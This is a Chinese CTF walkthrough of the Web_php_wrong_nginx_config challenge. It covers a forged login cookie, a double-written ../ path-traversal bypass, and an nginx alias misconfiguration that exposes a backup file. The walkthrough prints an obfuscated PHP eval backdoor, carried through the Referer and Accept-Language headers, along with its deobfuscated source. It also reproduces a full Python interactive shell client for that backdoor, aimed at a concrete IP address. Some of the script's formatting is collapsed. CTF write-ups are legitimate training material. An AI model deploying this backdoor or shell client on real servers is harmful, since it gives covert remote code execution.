题目

打开发现无论我们输入什么他都会弹出网站建设不完全

那么我们使用御剑进行扫描，扫描到了admin和robots.txt
我们访问admin试试

我们接着访问hint.php

和Hack.php

这个打开直接弹窗

详解

好嘞，我们正式开搞！

发现这里有一个cookie为0的值，我们改为1

发现成功登录

进去瞎点一通，发现，只有管理中心可以改变url

/admin/admin.php?file=index&ext=php

我们试试文件包含../

无论我们加入多少…/均不能，猜测是过滤了

我们在正常的url中加入…/ ./ /测试
发现只有加…/和原页面一致，
说明他过滤了…/
而且还是置为空
那么我们就可以进行双写绕过
/admin/admin.php?file=./..././..././..././..././etc/passwd&ext=
成功包含。

ext一定不要写东西，因为他是一个后缀，如果写入php,的话，他会按照php进行打开
根据hint.php提示包含配置文件。

            server {listen 8080; ## listen for ipv4; this line is default and impliedlisten [::]:8080; ## listen for ipv6root /var/www/html;index index.php index.html index.htm;port_in_redirect off;server_name _;# Make site accessible from http://localhost/#server_name localhost;# If block for setting the time for the logfileif ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {set $year $1;set $month $2;set $day $3;}# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.htmlsendfile off;set $http_x_forwarded_for_filt $http_x_forwarded_for;if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {set $http_x_forwarded_for_filt $1???;}# Add stdout loggingaccess_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;error_log /var/log/nginx/error.log info;location / {# First attempt to serve request as file, then# as directory, then fall back to index.htmltry_files $uri $uri/ /index.php?q=$uri&$args;server_tokens off;}#error_page 404 /404.html;# redirect server error pages to the static page /50x.html#error_page 500 502 503 504 /50x.html;location = /50x.html {root /usr/share/nginx/html;}location ~ \.php$ {try_files $uri $uri/ /index.php?q=$uri&$args;fastcgi_split_path_info ^(.+\.php)(/.+)$;fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;fastcgi_param SCRIPT_NAME $fastcgi_script_name;fastcgi_index index.php;include fastcgi_params;fastcgi_param REMOTE_ADDR $http_x_forwarded_for;}location ~ /\. {log_not_found off;deny all;}location /web-img {alias /images/;autoindex on;}location ~* \.(ini|docx|pcapng|doc)$ {  deny all;  }  include /var/www/nginx[.]conf;
}

发现倒数几行location /web-img开启了目录浏览 autoindex on;.

那么我们进行访问。/web-img/

alias用法
https://blog.csdn.net/kinginblue/article/details/50748683

也就是说 alias 会丢弃掉 location 的路径
因此 alias 后面的路径是从系统根目录开始的

发现hack.php.bak
下载好发现，如下

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

这是一个后门页面，网上有师傅们的源码
php混淆后门
https://www.cnblogs.com/go2bed/p/5920811.html

我们这儿只有一个F,输出看看，

整理一下

$kh="42f7";
$kf="e9ac";
function x($t,$k) {$c=strlen($k);$l=strlen($t);$o="";for ($i=0;$i<$l;) {for ($j=0;($j<$c&&$i<$l);$j++,$i++) {$o.=$t {$i}^$k {$j};}}return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m) {@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0) {$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)) {$s[$i].=$p;$e=strpos($s[$i],$f);if($e) {$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}
}

我们找大佬的脚本测试一下
php混淆后门

# encoding: utf-8from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import redef choicePart(seq,amount):length = len(seq)if length == 0 or length < amount:print 'Error Input'return Noneresult = []indexes = []count = 0while count < amount:i = randint(0,length-1)if not i in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = ''for i in xrange(amount):result += chr(randint(0,255))return  resultdef randAlpha(amount):result = ''for i in xrange(amount):result += choice(string.ascii_letters)return resultdef loopXor(text,key):result = ''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt<lenTxt and iKey<lenKey:result += chr(ord(key[iKey]) ^ ord(text[iTxt]))iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print msg# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:40004/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)acceptLang = [defaultLang]
for i in xrange(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in xrange(max(indexes)+1+randint(0,2)):key = randAlpha(randint(3,6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.urlencode(query))# encode payloadpayload = zlib.compress(cmd)payload = loopXor(payload,xorKey)payload = base64.urlsafe_b64encode(payload)payload = md5head + payload# cut payload, replace into referercutIndex = randint(2,len(payload)-3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0],payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))output = pattern.findall(html)if len(output) == 0:print 'Error,  no backdoor response'cmd = raw_input('phpshell > ')continueoutput = output[0]debugPrint(output)output = output.decode('base64')output = loopXor(output,xorKey)output = zlib.decompress(output)print outputcmd = raw_input('phpshell > ')

成功执行命令，

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攻防世界web进阶区Web_php_wrong_nginx_config详解

攻防世界web进阶区Web_php_wrong_nginx_config详解

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